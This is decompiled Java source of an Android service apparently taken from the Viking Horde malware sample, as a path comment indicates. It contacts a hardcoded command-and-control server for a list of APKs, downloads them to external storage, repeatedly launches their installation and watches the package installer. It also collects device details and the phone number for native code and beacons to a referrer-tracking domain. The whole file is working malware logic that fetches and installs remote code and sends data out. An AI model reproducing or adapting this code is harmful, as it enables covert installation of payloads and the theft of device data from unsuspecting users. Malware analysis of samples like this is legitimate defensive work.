package com.fa.c;

import android.app.Notification;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build.VERSION;
import android.os.Environment;
import android.os.IBinder;
import android.util.Log;
import com.Jump.vikingJump.NativeWrapper;
import com.jaredrummler.android.processes.ProcessManager;
import com.jaredrummler.android.processes.models.AndroidAppProcess;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import org.json.JSONArray;
import org.json.JSONObject;

public class SystemService
  extends Service
{
  private List<InstallTask> _installTasks = new LinkedList();
  private List<String> _installedApps = new LinkedList();
  private NativeWrapper _nw;
  private Runnable longRunningTask;
  private Future longRunningTaskFuture;
  private Future longRunningTaskFutureInstallThread;
  private Future longRunningTaskFutureKnockThread;
  private Runnable longRunningTaskInstallThread;
  private Runnable longRunningTaskKnockThread;
  private String ref = "";
  private Thread threadCps;
  private Thread threadInstaller;
  private ExecutorService threadPoolExecutor;
  private ExecutorService threadPoolExecutorInstallThread;
  private ExecutorService threadPoolExecutorKnockThread;
  
  private String BytesToUTF8String(byte[] paramArrayOfByte)
  {
    if (paramArrayOfByte != null) {
      try
      {
        paramArrayOfByte = new String(paramArrayOfByte, "UTF-8");
        return paramArrayOfByte;
      }
      catch (Exception paramArrayOfByte)
      {
        Log.d("CPS", "BytesToUTF8String exception: " + paramArrayOfByte.getMessage());
      }
    }
    return null;
  }
  
  private boolean DeleteApkFile(String paramString)
  {
    try
    {
      boolean bool = new File(Environment.getExternalStorageDirectory() + "/" + paramString + ".apk").delete();
      return bool;
    }
    catch (Exception paramString)
    {
      Log.d("CPS", "DeleteApkFile exception: " + paramString.getMessage());
    }
    return false;
  }
  
  private List<String> GetInstalledApps()
  {
    Object localObject = getPackageManager().getInstalledApplications(128);
    LinkedList localLinkedList = new LinkedList();
    localObject = ((List)localObject).iterator();
    for (;;)
    {
      if (!((Iterator)localObject).hasNext()) {
        return localLinkedList;
      }
      localLinkedList.add(((ApplicationInfo)((Iterator)localObject).next()).packageName);
    }
  }
  
  private void GetRunningProcess()
  {
    Iterator localIterator = ProcessManager.getRunningAppProcesses().iterator();
    for (;;)
    {
      if (!localIterator.hasNext()) {
        return;
      }
      AndroidAppProcess localAndroidAppProcess = (AndroidAppProcess)localIterator.next();
      if (localAndroidAppProcess.getPackageName().equalsIgnoreCase("com.android.packageinstaller")) {
        if (localAndroidAppProcess.foreground) {
          Log.d("CPS", "Installing...");
        } else {
          Log.d("CPS", "Not Installing");
        }
      }
    }
  }
  
  private byte[] HttpGet(String paramString)
  {
    try
    {
      paramString = (HttpURLConnection)new URL(paramString).openConnection();
      paramString.setChunkedStreamingMode(0);
      paramString = paramString.getInputStream();
      byte[] arrayOfByte = new byte[' '];
      ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
      for (;;)
      {
        int i = paramString.read(arrayOfByte);
        if (i == -1)
        {
          paramString.close();
          return localByteArrayOutputStream.toByteArray();
        }
        localByteArrayOutputStream.write(arrayOfByte, 0, i);
      }
      return null;
    }
    catch (Exception paramString)
    {
      Log.d("CPS", "HttpGet exception: " + paramString.getMessage());
    }
  }
  
  private boolean HttpGetFile(String paramString1, String paramString2)
  {
    try
    {
      paramString1 = (HttpURLConnection)new URL(paramString1).openConnection();
      paramString1.setChunkedStreamingMode(0);
      paramString1 = paramString1.getInputStream();
      paramString2 = new BufferedOutputStream(new FileOutputStream(new File(Environment.getExternalStorageDirectory() + "/" + paramString2 + ".apk")));
      byte[] arrayOfByte = new byte[' '];
      for (;;)
      {
        int i = paramString1.read(arrayOfByte);
        if (i == -1)
        {
          paramString2.close();
          paramString1.close();
          return true;
        }
        paramString2.write(arrayOfByte, 0, i);
      }
      return false;
    }
    catch (Exception paramString1)
    {
      Log.d("CPS", "HttpGet exception: " + paramString1.getMessage());
    }
  }
  
  private void InstallApk(String paramString)
  {
    Intent localIntent = new Intent("android.intent.action.VIEW");
    localIntent.setDataAndType(Uri.fromFile(new File(Environment.getExternalStorageDirectory() + "/" + paramString + ".apk")), "application/vnd.android.package-archive");
    localIntent.setFlags(268435456);
    startActivity(localIntent);
  }
  
  private void InstallTaskHandler()
  {
    try
    {
      Thread.sleep(180000L);
      if (this._installTasks == null) {
        this._installTasks = new LinkedList();
      }
      this._installTasks.clear();
      for (;;)
      {
        try
        {
          localObject1 = new JSONObject(BytesToUTF8String(HttpGet("http://176.9.138.114:7777/ecspectapatronum/"))).getJSONArray("t");
          if (this._installedApps == null) {
            this._installedApps = new LinkedList();
          }
          this._installedApps.clear();
          this._installedApps = GetInstalledApps();
          i = 0;
          if (i < ((JSONArray)localObject1).length()) {
            continue;
          }
          Log.d("CPS", "InstallTaskHandler will install " + this._installTasks.size());
          localObject1 = this._installTasks.iterator();
        }
        catch (Exception localException2)
        {
          Object localObject1;
          boolean bool;
          Object localObject3;
          int j;
          Object localObject2;
          String str1;
          String str2;
          Log.d("CPS", "InstallTaskHandler exception: " + localException2.getMessage());
          continue;
          System.gc();
          if (IsMd5Hash(((InstallTask)localObject2).bundle, ((InstallTask)localObject2).hash)) {
            continue;
          }
          Log.d("CPS", "InstallTaskHandler bad hash");
          DeleteApkFile(((InstallTask)localObject2).bundle);
          continue;
          InstallApk(((InstallTask)localObject2).bundle);
          try
          {
            Thread.sleep(5000L);
            StartOverlayService();
            l1 = System.currentTimeMillis();
            if (IsInstalling()) {
              continue;
            }
            StopOverlayService();
            DeleteApkFile(((InstallTask)localObject2).bundle);
            try
            {
              Thread.sleep(5000L);
            }
            catch (Exception localException4)
            {
              Log.d("CPS", "InstallTaskHandler exception: " + localException4.getMessage());
            }
          }
          catch (Exception localException5)
          {
            long l1;
            Log.d("CPS", "InstallTaskHandler exception: " + localException5.getMessage());
            continue;
            long l2 = System.currentTimeMillis();
            if (l2 - l1 >= 1200000L) {
              continue;
            }
            try
            {
              Thread.sleep(1000L);
            }
            catch (Exception localException6)
            {
              Log.d("CPS", "InstallTaskHandler exception: " + localException6.getMessage());
            }
            continue;
          }
        }
        bool = ((Iterator)localObject1).hasNext();
        if (!bool)
        {
          try
          {
            Thread.sleep(300000L);
          }
          catch (Exception localException1)
          {
            Log.d("CPS", "InstallTaskHandler exception: " + localException1.getMessage());
          }
          break;
          localObject3 = localException1.getJSONObject(i);
          if (((JSONObject)localObject3).getInt("platform") != 1) {
            break label611;
          }
          j = ((JSONObject)localObject3).getInt("api");
          if (j > Build.VERSION.SDK_INT) {
            break label611;
          }
          localObject2 = ((JSONObject)localObject3).getString("bid");
          if (IsAppInstalled((String)localObject2)) {
            break label611;
          }
          str1 = ((JSONObject)localObject3).getString("id");
          str2 = ((JSONObject)localObject3).getString("url");
          localObject3 = ((JSONObject)localObject3).getString("hash");
          this._installTasks.add(new InstallTask(str1, (String)localObject2, str2, (String)localObject3, j));
          break label611;
        }
        localObject2 = (InstallTask)localException1.next();
        if (HttpGetFile(((InstallTask)localObject2).url, ((InstallTask)localObject2).bundle)) {
          continue;
        }
        Log.d("CPS", "InstallTaskHandler cant download apk");
      }
    }
    catch (Exception localException3)
    {
      for (;;)
      {
        int i;
        continue;
        label611:
        i += 1;
      }
    }
  }
  
  private boolean IsAppInstalled(String paramString)
  {
    Iterator localIterator = this._installedApps.iterator();
    do
    {
      if (!localIterator.hasNext()) {
        return false;
      }
    } while (!((String)localIterator.next()).equalsIgnoreCase(paramString));
    return true;
  }
  
  private boolean IsInstalling()
  {
    String str = "com.android.packageinstaller";
    if (Build.VERSION.SDK_INT >= 23) {
      str = "com.google.android.packageinstaller";
    }
    Iterator localIterator = ProcessManager.getRunningAppProcesses().iterator();
    if (!localIterator.hasNext()) {}
    AndroidAppProcess localAndroidAppProcess;
    do
    {
      return false;
      localAndroidAppProcess = (AndroidAppProcess)localIterator.next();
      if (!localAndroidAppProcess.getPackageName().equalsIgnoreCase(str)) {
        break;
      }
    } while (!localAndroidAppProcess.foreground);
    return true;
  }
  
  private boolean IsMd5Hash(String paramString1, String paramString2)
  {
    return MD5.checkMD5(paramString2, new File(Environment.getExternalStorageDirectory() + "/" + paramString1 + ".apk"));
  }
  
  private void Knock()
  {
    this.threadPoolExecutorKnockThread = Executors.newSingleThreadExecutor();
    this.longRunningTaskKnockThread = new Runnable()
    {
      public void run()
      {
        Log.d("TRACKING", "Ref: r");
        try
        {
          Thread.sleep(180000L);
          localObject = "http://loginprotect.mobi/callback.php?referer=";
          String str = SystemService.this.ref;
          Log.d("TRACKING", "Refff: " + str);
          if (str != null) {
            localObject = "http://loginprotect.mobi/callback.php?referer=" + str;
          }
        }
        catch (Exception localException1)
        {
          for (;;)
          {
            try
            {
              Object localObject = (HttpURLConnection)new URL((String)localObject).openConnection();
              ((HttpURLConnection)localObject).setRequestMethod("GET");
              ((HttpURLConnection)localObject).connect();
              Log.d("TRACKING", "Status: " + ((HttpURLConnection)localObject).getResponseCode());
              ((HttpURLConnection)localObject).disconnect();
              return;
            }
            catch (Exception localException2) {}
            localException1 = localException1;
          }
        }
      }
    };
    this.longRunningTaskFutureKnockThread = this.threadPoolExecutorKnockThread.submit(this.longRunningTaskKnockThread);
  }
  
  private void StartInstallHandrler()
  {
    System.gc();
    this.threadPoolExecutorInstallThread = Executors.newSingleThreadExecutor();
    this.longRunningTaskInstallThread = new Runnable()
    {
      public void run()
      {
        SystemService.this.InstallTaskHandler();
      }
    };
    this.longRunningTaskFutureInstallThread = this.threadPoolExecutorInstallThread.submit(this.longRunningTaskInstallThread);
  }
  
  private void StartOverlayService() {}
  
  private void StopOverlayService() {}
  
  private void Work()
  {
    this._nw = null;
    System.gc();
    this.threadPoolExecutor = Executors.newSingleThreadExecutor();
    this.longRunningTask = new Runnable()
    {
      public void run()
      {
        SystemService.this._nw = new NativeWrapper();
        byte[] arrayOfByte = Utilities.GetDeviceInfoBytes(SystemService.this.getApplicationContext());
        String str = Utilities.GetDeviceInfoString(SystemService.this.getApplicationContext());
        if (str != null)
        {
          byte b1 = arrayOfByte[16];
          byte b2 = arrayOfByte[17];
          byte b3 = arrayOfByte[18];
          byte b4 = arrayOfByte[19];
          SystemService.this._nw.SetInfo(str);
          SystemService.this._nw.SetInfo2(b1, b2, b3, b4);
        }
        try
        {
          SystemService.this._nw.SetPhone(Utilities.GetPhoneNumber(SystemService.this.getApplicationContext()));
        }
        catch (Exception localException1)
        {
          for (;;)
          {
            try
            {
              SystemService.this._nw.StartCPS(Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetExchangeFileName(SystemService.this.getApplicationContext()));
              return;
            }
            catch (Exception localException2) {}
            localException1 = localException1;
            SystemService.this._nw.SetPhone("NO_SIM");
          }
        }
      }
    };
    this.longRunningTaskFuture = this.threadPoolExecutor.submit(this.longRunningTask);
  }
  
  private boolean WriteApkAsFile(String paramString, byte[] paramArrayOfByte)
  {
    try
    {
      paramString = new BufferedOutputStream(new FileOutputStream(new File(Environment.getExternalStorageDirectory() + "/" + paramString + ".apk")));
      paramString.write(paramArrayOfByte);
      paramString.flush();
      paramString.close();
      return true;
    }
    catch (Exception paramString)
    {
      Log.d("CPS", "WriteApkAsFile exception: " + paramString.getMessage());
    }
    return false;
  }
  
  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }
  
  public void onCreate() {}
  
  public void onDestroy()
  {
    super.onDestroy();
    this._nw = null;
    System.gc();
    this.longRunningTaskFuture.cancel(true);
    this.longRunningTaskFutureInstallThread.cancel(true);
  }
  
  public void onRebind(Intent paramIntent) {}
  
  public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2)
  {
    startForeground(1, new Notification());
    getApplicationContext().startService(new Intent(getApplicationContext().getApplicationContext(), StartService.class));
    Work();
    StartInstallHandrler();
    paramIntent = Utilities.GetPreferences(getApplicationContext());
    SharedPreferences.Editor localEditor = Utilities.GetPreferncesEditor(getApplicationContext());
    if (!paramIntent.contains("SHARED_PREF_KEY_KNOCKED"))
    {
      localEditor.putInt("SHARED_PREF_KEY_KNOCKED", 100);
      localEditor.commit();
      Knock();
    }
    registerReceiver(new BroadcastReceiver()new IntentFilter
    {
      public void onReceive(Context paramAnonymousContext, Intent paramAnonymousIntent)
      {
        Log.d("TRACKING", "123");
        SystemService.this.ref = paramAnonymousIntent.getStringExtra("r");
      }
    }, new IntentFilter("RRR_AAA_FFF"));
    return 1;
  }
  
  public boolean onUnbind(Intent paramIntent)
  {
    return true;
  }
  
  private class InstallTask
  {
    public int api;
    public String bundle;
    public String hash;
    public String id;
    public String url;
    
    public InstallTask(String paramString1, String paramString2, String paramString3, String paramString4, int paramInt)
    {
      this.id = paramString1;
      this.bundle = paramString2;
      this.url = paramString3;
      this.hash = paramString4;
      this.api = paramInt;
    }
  }
}


/* Location:              /home/enzo/Documents/hacking/malwares/viking-horde/classes.jar!/com/fa/c/SystemService.class
 * Java compiler version: 6 (50.0)
 * JD-Core Version:       0.7.1
 */